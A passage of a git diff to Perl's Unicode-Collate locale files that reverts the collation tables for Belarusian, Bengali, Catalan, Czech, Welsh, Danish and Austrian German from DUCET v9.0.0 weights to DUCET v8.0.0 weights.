[.1CAC.0020.0008] # LATIN CAPITAL LETTER I +00CC ; [.1CAC.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER I WITH GRAVE +00CD ; [.1CAC.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER I WITH ACUTE +00CE ; [.1CAC.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER I WITH CIRCUMFLEX +00CF ; [.1CAC.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER I WITH DIAERESIS +012A ; [.1CAC.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER I WITH MACRON +012C ; [.1CAC.0020.0008][.0000.0026.0002] # LATIN CAPITAL LETTER I WITH BREVE +012E ; [.1CAC.0020.0008][.0000.0031.0002] # LATIN CAPITAL LETTER I WITH OGONEK +0130 ; [.1CAD.0020.0008] # LATIN CAPITAL LETTER I WITH DOT ABOVE +0049 0307 ; [.1CAD.0020.0008] # LATIN CAPITAL LETTER I WITH DOT ABOVE +00F6 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS +006F 0308 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS +00D6 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS +004F 0308 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS +022B ; [.1D59.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON +022A ; [.1D59.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON +015F ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CEDILLA +0073 0327 ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CEDILLA +015E ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CEDILLA +0053 0327 ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CEDILLA +00FC ; [.1E31.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS +0075 0308 ; [.1E31.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS +00DC ; [.1E31.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +0055 0308 ; [.1E31.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +01DC ; [.1E31.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE +01DB ; [.1E31.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE +01D8 ; [.1E31.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE +01D7 ; [.1E31.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE +01D6 ; [.1E31.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON +01D5 ; [.1E31.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON +01DA ; [.1E31.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON +01D9 ; [.1E31.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON +0071 ; [.1CE1.0020.0002] # LATIN SMALL LETTER Q +0051 ; [.1CE1.0020.0008] # LATIN CAPITAL LETTER Q +0078 ; [.1C94.0020.0002] # LATIN SMALL LETTER X +0058 ; [.1C94.0020.0008] # LATIN CAPITAL LETTER X +0077 ; [.1E9D.0020.0002] # LATIN SMALL LETTER W +0057 ; [.1E9D.0020.0008] # LATIN CAPITAL LETTER W ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/be.pl b/cpan/Unicode-Collate/Collate/Locale/be.pl index 02dc16ce8b80..48cb512c5bb4 100644 --- a/cpan/Unicode-Collate/Collate/Locale/be.pl +++ b/cpan/Unicode-Collate/Collate/Locale/be.pl @@ -1,13 +1,13 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0451 ; [.205B.0020.0002] # CYRILLIC SMALL LETTER IO -0435 0308 ; [.205B.0020.0002] # CYRILLIC SMALL LETTER IO -0401 ; [.205B.0020.0008] # CYRILLIC CAPITAL LETTER IO -0415 0308 ; [.205B.0020.0008] # CYRILLIC CAPITAL LETTER IO -045E ; [.211E.0020.0002] # CYRILLIC SMALL LETTER SHORT U -0443 0306 ; [.211E.0020.0002] # CYRILLIC SMALL LETTER SHORT U -040E ; [.211E.0020.0008] # CYRILLIC CAPITAL LETTER SHORT U -0423 0306 ; [.211E.0020.0008] # CYRILLIC CAPITAL LETTER SHORT U + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0451 ; [.1FD6.0020.0002] # CYRILLIC SMALL LETTER IO +0435 0308 ; [.1FD6.0020.0002] # CYRILLIC SMALL LETTER IO +0401 ; [.1FD6.0020.0008] # CYRILLIC CAPITAL LETTER IO +0415 0308 ; [.1FD6.0020.0008] # CYRILLIC CAPITAL LETTER IO +045E ; [.2099.0020.0002] # CYRILLIC SMALL LETTER SHORT U +0443 0306 ; [.2099.0020.0002] # CYRILLIC SMALL LETTER SHORT U +040E ; [.2099.0020.0008] # CYRILLIC CAPITAL LETTER SHORT U +0423 0306 ; [.2099.0020.0008] # CYRILLIC CAPITAL LETTER SHORT U ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/bn.pl b/cpan/Unicode-Collate/Collate/Locale/bn.pl index 0ce47c111c67..aebde407dc89 100644 --- a/cpan/Unicode-Collate/Collate/Locale/bn.pl +++ b/cpan/Unicode-Collate/Collate/Locale/bn.pl @@ -1,9 +1,9 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0982 ; [.26CD.0020.0002][.FFF1.0000.0000] # BENGALI SIGN ANUSVARA -0983 ; [.26CD.0020.0002][.FFF2.0000.0000] # BENGALI SIGN VISARGA -0981 ; [.26CD.0020.0002][.FFF3.0000.0000] # BENGALI SIGN CANDRABINDU -0994 ; [.26CD.0020.0002][.FFF0.0000.0000] # BENGALI LETTER AU + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0982 ; [.2640.0020.0002][.FFF1.0000.0000] # BENGALI SIGN ANUSVARA +0983 ; [.2640.0020.0002][.FFF2.0000.0000] # BENGALI SIGN VISARGA +0981 ; [.2640.0020.0002][.FFF3.0000.0000] # BENGALI SIGN CANDRABINDU +0994 ; [.2640.0020.0002][.FFF0.0000.0000] # BENGALI LETTER AU ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/ca.pl b/cpan/Unicode-Collate/Collate/Locale/ca.pl index df46b4d58feb..220736cc8393 100644 --- a/cpan/Unicode-Collate/Collate/Locale/ca.pl +++ b/cpan/Unicode-Collate/Collate/Locale/ca.pl @@ -1,17 +1,17 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0063 0068 ; [.1C7B.0020.0002] # -0063 0048 ; [.1C7B.0020.0007][.0000.0000.0002] # -0043 0068 ; [.1C7B.0020.0007][.0000.0000.0008] # -0043 0048 ; [.1C7B.0020.0008] # -006C 006C ; [.1D78.0020.0002][.0000.0000.0001] # -006C 00B7 006C ; [.1D78.0020.0002][.0000.0000.0007] # -006C 004C ; [.1D78.0020.0007][.0000.0000.0002][.0000.0000.0001] # -006C 00B7 004C ; [.1D78.0020.0007][.0000.0000.0002][.0000.0000.0007] # -004C 006C ; [.1D78.0020.0007][.0000.0000.0008][.0000.0000.0001] # -004C 00B7 006C ; [.1D78.0020.0007][.0000.0000.0008][.0000.0000.0007] # -004C 004C ; [.1D78.0020.0008][.0000.0000.0001] # -004C 00B7 004C ; [.1D78.0020.0008][.0000.0000.0007] # + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0063 0068 ; [.1BF6.0020.0002] # +0063 0048 ; [.1BF6.0020.0007][.0000.0000.0002] # +0043 0068 ; [.1BF6.0020.0007][.0000.0000.0008] # +0043 0048 ; [.1BF6.0020.0008] # +006C 006C ; [.1CF3.0020.0002][.0000.0000.0001] # +006C 00B7 006C ; [.1CF3.0020.0002][.0000.0000.0007] # +006C 004C ; [.1CF3.0020.0007][.0000.0000.0002][.0000.0000.0001] # +006C 00B7 004C ; [.1CF3.0020.0007][.0000.0000.0002][.0000.0000.0007] # +004C 006C ; [.1CF3.0020.0007][.0000.0000.0008][.0000.0000.0001] # +004C 00B7 006C ; [.1CF3.0020.0007][.0000.0000.0008][.0000.0000.0007] # +004C 004C ; [.1CF3.0020.0008][.0000.0000.0001] # +004C 00B7 004C ; [.1CF3.0020.0008][.0000.0000.0007] # ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/cs.pl b/cpan/Unicode-Collate/Collate/Locale/cs.pl index 36f098cc508e..4f51ec42f76c 100644 --- a/cpan/Unicode-Collate/Collate/Locale/cs.pl +++ b/cpan/Unicode-Collate/Collate/Locale/cs.pl @@ -1,25 +1,25 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -010D ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CARON -0063 030C ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CARON -010C ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CARON -0043 030C ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CARON -0063 0068 ; [.1D19.0020.0002] # -0063 0048 ; [.1D19.0020.0007][.0000.0000.0002] # -0043 0068 ; [.1D19.0020.0007][.0000.0000.0008] # -0043 0048 ; [.1D19.0020.0008] # -0159 ; [.1E34.0020.0002] # LATIN SMALL LETTER R WITH CARON -0072 030C ; [.1E34.0020.0002] # LATIN SMALL LETTER R WITH CARON -0158 ; [.1E34.0020.0008] # LATIN CAPITAL LETTER R WITH CARON -0052 030C ; [.1E34.0020.0008] # LATIN CAPITAL LETTER R WITH CARON -0161 ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON -0073 030C ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON -0160 ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON -0053 030C ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON -017E ; [.1F22.0020.0002] # LATIN SMALL LETTER Z WITH CARON -007A 030C ; [.1F22.0020.0002] # LATIN SMALL LETTER Z WITH CARON -017D ; [.1F22.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON -005A 030C ; [.1F22.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +010D ; [.1BF6.0020.0002] # LATIN SMALL LETTER C WITH CARON +0063 030C ; [.1BF6.0020.0002] # LATIN SMALL LETTER C WITH CARON +010C ; [.1BF6.0020.0008] # LATIN CAPITAL LETTER C WITH CARON +0043 030C ; [.1BF6.0020.0008] # LATIN CAPITAL LETTER C WITH CARON +0063 0068 ; [.1C94.0020.0002] # +0063 0048 ; [.1C94.0020.0007][.0000.0000.0002] # +0043 0068 ; [.1C94.0020.0007][.0000.0000.0008] # +0043 0048 ; [.1C94.0020.0008] # +0159 ; [.1DAF.0020.0002] # LATIN SMALL LETTER R WITH CARON +0072 030C ; [.1DAF.0020.0002] # LATIN SMALL LETTER R WITH CARON +0158 ; [.1DAF.0020.0008] # LATIN CAPITAL LETTER R WITH CARON +0052 030C ; [.1DAF.0020.0008] # LATIN CAPITAL LETTER R WITH CARON +0161 ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CARON +0073 030C ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CARON +0160 ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CARON +0053 030C ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CARON +017E ; [.1E9D.0020.0002] # LATIN SMALL LETTER Z WITH CARON +007A 030C ; [.1E9D.0020.0002] # LATIN SMALL LETTER Z WITH CARON +017D ; [.1E9D.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON +005A 030C ; [.1E9D.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/cy.pl b/cpan/Unicode-Collate/Collate/Locale/cy.pl index 135935d1d859..b712b6fe5a7c 100644 --- a/cpan/Unicode-Collate/Collate/Locale/cy.pl +++ b/cpan/Unicode-Collate/Collate/Locale/cy.pl @@ -1,29 +1,29 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0063 0068 ; [.1C7B.0020.0002] # -0043 0068 ; [.1C7B.0020.0007] # -0043 0048 ; [.1C7B.0020.0008] # -0064 0064 ; [.1C90.0020.0002] # -0044 0064 ; [.1C90.0020.0007] # -0044 0044 ; [.1C90.0020.0008] # -0066 0066 ; [.1CE6.0020.0002] # -0046 0066 ; [.1CE6.0020.0007] # -0046 0046 ; [.1CE6.0020.0008] # -006E 0067 ; [.1CF5.0020.0002] # -004E 0067 ; [.1CF5.0020.0007] # -004E 0047 ; [.1CF5.0020.0008] # -006C 006C ; [.1D78.0020.0002] # -004C 006C ; [.1D78.0020.0007] # -004C 004C ; [.1D78.0020.0008] # -0070 0068 ; [.1E0D.0020.0002] # -0050 0068 ; [.1E0D.0020.0007] # -0050 0048 ; [.1E0D.0020.0008] # -0072 0068 ; [.1E34.0020.0002] # -0052 0068 ; [.1E34.0020.0007] # -0052 0048 ; [.1E34.0020.0008] # -0074 0068 ; [.1E96.0020.0002] # -0054 0068 ; [.1E96.0020.0007] # -0054 0048 ; [.1E96.0020.0008] # + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0063 0068 ; [.1BF6.0020.0002] # +0043 0068 ; [.1BF6.0020.0007] # +0043 0048 ; [.1BF6.0020.0008] # +0064 0064 ; [.1C0B.0020.0002] # +0044 0064 ; [.1C0B.0020.0007] # +0044 0044 ; [.1C0B.0020.0008] # +0066 0066 ; [.1C61.0020.0002] # +0046 0066 ; [.1C61.0020.0007] # +0046 0046 ; [.1C61.0020.0008] # +006E 0067 ; [.1C70.0020.0002] # +004E 0067 ; [.1C70.0020.0007] # +004E 0047 ; [.1C70.0020.0008] # +006C 006C ; [.1CF3.0020.0002] # +004C 006C ; [.1CF3.0020.0007] # +004C 004C ; [.1CF3.0020.0008] # +0070 0068 ; [.1D88.0020.0002] # +0050 0068 ; [.1D88.0020.0007] # +0050 0048 ; [.1D88.0020.0008] # +0072 0068 ; [.1DAF.0020.0002] # +0052 0068 ; [.1DAF.0020.0007] # +0052 0048 ; [.1DAF.0020.0008] # +0074 0068 ; [.1E11.0020.0002] # +0054 0068 ; [.1E11.0020.0007] # +0054 0048 ; [.1E11.0020.0008] # ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/da.pl b/cpan/Unicode-Collate/Collate/Locale/da.pl index 19e8fbc43d24..b49098be2dad 100644 --- a/cpan/Unicode-Collate/Collate/Locale/da.pl +++ b/cpan/Unicode-Collate/Collate/Locale/da.pl @@ -1,78 +1,78 @@ +{ - locale_version => 1.25, + locale_version => 1.19, upper_before_lower => 1, - entry => <<'ENTRY', # for DUCET v9.0.0 -0111 ; [.1C8F.0021.0002] # LATIN SMALL LETTER D WITH STROKE -0064 0335 ; [.1C8F.0021.0002] # LATIN SMALL LETTER D WITH STROKE -0110 ; [.1C8F.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE -0044 0335 ; [.1C8F.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE -00F0 ; [.1C8F.0022.0002] # LATIN SMALL LETTER ETH -1DD9 ; [.1C8F.0022.0002] # COMBINING LATIN SMALL LETTER ETH -00D0 ; [.1C8F.0022.0008] # LATIN CAPITAL LETTER ETH -00FE ; [.1E95.0020.0003][.1D18.0020.0003] # LATIN SMALL LETTER THORN -00DE ; [.1E95.0020.0009][.1D18.0020.0009] # LATIN CAPITAL LETTER THORN -00FC ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS -0075 0308 ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS -00DC ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -0055 0308 ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -01DC ; [.1F0B.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE -01DB ; [.1F0B.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE -01D8 ; [.1F0B.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE -01D7 ; [.1F0B.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE -01D6 ; [.1F0B.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON -01D5 ; [.1F0B.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON -01DA ; [.1F0B.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON -01D9 ; [.1F0B.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON -0171 ; [.1F0B.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE -0075 030B ; [.1F0B.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE -0170 ; [.1F0B.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE -0055 030B ; [.1F0B.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE -00E6 ; [.1F96.0020.0002] # LATIN SMALL LETTER AE -1DD4 ; [.1F96.0020.0002] # COMBINING LATIN SMALL LETTER AE -00C6 ; [.1F96.0020.0008] # LATIN CAPITAL LETTER AE -1D2D ; [.1F96.0020.0014] # MODIFIER LETTER CAPITAL AE -01FD ; [.1F96.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE -01FC ; [.1F96.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE -01E3 ; [.1F96.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON -01E2 ; [.1F96.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON -00E4 ; [.1F96.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS -0061 0308 ; [.1F96.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS -00C4 ; [.1F96.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS -0041 0308 ; [.1F96.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS -01DF ; [.1F96.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON -01DE ; [.1F96.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON -0119 ; [.1F96.0022.0002] # LATIN SMALL LETTER E WITH OGONEK -0065 0328 ; [.1F96.0022.0002] # LATIN SMALL LETTER E WITH OGONEK -0118 ; [.1F96.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK -0045 0328 ; [.1F96.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK -00F8 ; [.1F97.0020.0002] # LATIN SMALL LETTER O WITH STROKE -006F 0338 ; [.1F97.0020.0002] # LATIN SMALL LETTER O WITH STROKE -00D8 ; [.1F97.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE -004F 0338 ; [.1F97.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE -01FF ; [.1F97.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE -01FE ; [.1F97.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE -00F6 ; [.1F97.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS -006F 0308 ; [.1F97.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS -00D6 ; [.1F97.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS -004F 0308 ; [.1F97.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS -022B ; [.1F97.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON -022A ; [.1F97.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON -0151 ; [.1F97.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE -006F 030B ; [.1F97.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE -0150 ; [.1F97.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE -004F 030B ; [.1F97.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE -0153 ; [.1F97.0023.0002] # LATIN SMALL LIGATURE OE -0152 ; [.1F97.0023.0008] # LATIN CAPITAL LIGATURE OE -00E5 ; [.1F98.0020.0002][.0000.0000.0001] # LATIN SMALL LETTER A WITH RING ABOVE -0061 030A ; [.1F98.0020.0002][.0000.0000.0001] # LATIN SMALL LETTER A WITH RING ABOVE -00C5 ; [.1F98.0020.0008][.0000.0000.0001] # LATIN CAPITAL LETTER A WITH RING ABOVE -0041 030A ; [.1F98.0020.0008][.0000.0000.0001] # LATIN CAPITAL LETTER A WITH RING ABOVE -212B ; [.1F98.0020.0008][.0000.0000.0001] # ANGSTROM SIGN -01FB ; [.1F98.0020.0002][.0000.0000.0001][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE -01FA ; [.1F98.0020.0008][.0000.0000.0001][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE -0061 0061 ; [.1F98.0020.0002][.0000.0000.0007] # -0041 0061 ; [.1F98.0020.0007][.0000.0000.0002] # -0061 0041 ; [.1F98.0020.0007][.0000.0000.0008] # -0041 0041 ; [.1F98.0020.0008][.0000.0000.0007] # + entry => <<'ENTRY', # for DUCET v8.0.0 +0111 ; [.1C0A.0021.0002] # LATIN SMALL LETTER D WITH STROKE +0064 0335 ; [.1C0A.0021.0002] # LATIN SMALL LETTER D WITH STROKE +0110 ; [.1C0A.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE +0044 0335 ; [.1C0A.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE +00F0 ; [.1C0A.0022.0002] # LATIN SMALL LETTER ETH +1DD9 ; [.1C0A.0022.0002] # COMBINING LATIN SMALL LETTER ETH +00D0 ; [.1C0A.0022.0008] # LATIN CAPITAL LETTER ETH +00FE ; [.1E10.0020.0003][.1C93.0020.0003] # LATIN SMALL LETTER THORN +00DE ; [.1E10.0020.0009][.1C93.0020.0009] # LATIN CAPITAL LETTER THORN +00FC ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS +0075 0308 ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS +00DC ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +0055 0308 ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +01DC ; [.1E86.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE +01DB ; [.1E86.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE +01D8 ; [.1E86.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE +01D7 ; [.1E86.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE +01D6 ; [.1E86.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON +01D5 ; [.1E86.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON +01DA ; [.1E86.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON +01D9 ; [.1E86.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON +0171 ; [.1E86.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE +0075 030B ; [.1E86.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE +0170 ; [.1E86.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE +0055 030B ; [.1E86.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE +00E6 ; [.1F11.0020.0002] # LATIN SMALL LETTER AE +1DD4 ; [.1F11.0020.0002] # COMBINING LATIN SMALL LETTER AE +00C6 ; [.1F11.0020.0008] # LATIN CAPITAL LETTER AE +1D2D ; [.1F11.0020.0014] # MODIFIER LETTER CAPITAL AE +01FD ; [.1F11.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE +01FC ; [.1F11.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE +01E3 ; [.1F11.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON +01E2 ; [.1F11.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON +00E4 ; [.1F11.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS +0061 0308 ; [.1F11.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS +00C4 ; [.1F11.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS +0041 0308 ; [.1F11.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS +01DF ; [.1F11.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON +01DE ; [.1F11.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON +0119 ; [.1F11.0022.0002] # LATIN SMALL LETTER E WITH OGONEK +0065 0328 ; [.1F11.0022.0002] # LATIN SMALL LETTER E WITH OGONEK +0118 ; [.1F11.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK +0045 0328 ; [.1F11.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK +00F8 ; [.1F12.0020.0002] # LATIN SMALL LETTER O WITH STROKE +006F 0338 ; [.1F12.0020.0002] # LATIN SMALL LETTER O WITH STROKE +00D8 ; [.1F12.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE +004F 0338 ; [.1F12.0020.0008] # LATIN CAPITAL LETTER O WITH STROKE +01FF ; [.1F12.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE +01FE ; [.1F12.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE +00F6 ; [.1F12.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS +006F 0308 ; [.1F12.0021.0002] # LATIN SMALL LETTER O WITH DIAERESIS +00D6 ; [.1F12.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS +004F 0308 ; [.1F12.0021.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS +022B ; [.1F12.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON +022A ; [.1F12.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON +0151 ; [.1F12.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE +006F 030B ; [.1F12.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE +0150 ; [.1F12.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE +004F 030B ; [.1F12.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE +0153 ; [.1F12.0023.0002] # LATIN SMALL LIGATURE OE +0152 ; [.1F12.0023.0008] # LATIN CAPITAL LIGATURE OE +00E5 ; [.1F13.0020.0002][.0000.0000.0001] # LATIN SMALL LETTER A WITH RING ABOVE +0061 030A ; [.1F13.0020.0002][.0000.0000.0001] # LATIN SMALL LETTER A WITH RING ABOVE +00C5 ; [.1F13.0020.0008][.0000.0000.0001] # LATIN CAPITAL LETTER A WITH RING ABOVE +0041 030A ; [.1F13.0020.0008][.0000.0000.0001] # LATIN CAPITAL LETTER A WITH RING ABOVE +212B ; [.1F13.0020.0008][.0000.0000.0001] # ANGSTROM SIGN +01FB ; [.1F13.0020.0002][.0000.0000.0001][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE +01FA ; [.1F13.0020.0008][.0000.0000.0001][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE +0061 0061 ; [.1F13.0020.0002][.0000.0000.0007] # +0041 0061 ; [.1F13.0020.0007][.0000.0000.0002] # +0061 0041 ; [.1F13.0020.0007][.0000.0000.0008] # +0041 0041 ; [.1F13.0020.0008][.0000.0000.0007] # ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/de_at_ph.pl b/cpan/Unicode-Collate/Collate/Locale/de_at_ph.pl index 7efe805badf4..4183e660ce27 100644 --- a/cpan/Unicode-Collate/Collate/Locale/de_at_ph.pl +++ b/cpan/Unicode-Collate/Collate/Locale/de_at_ph.pl @@ -1,31 +1,31 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -00E4 ; [.1C48.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS -0061 0308 ; [.1C48.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS -00C4 ; [.1C48.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS -0041 0308 ; [.1C48.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS -01DF ; [.1C48.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER 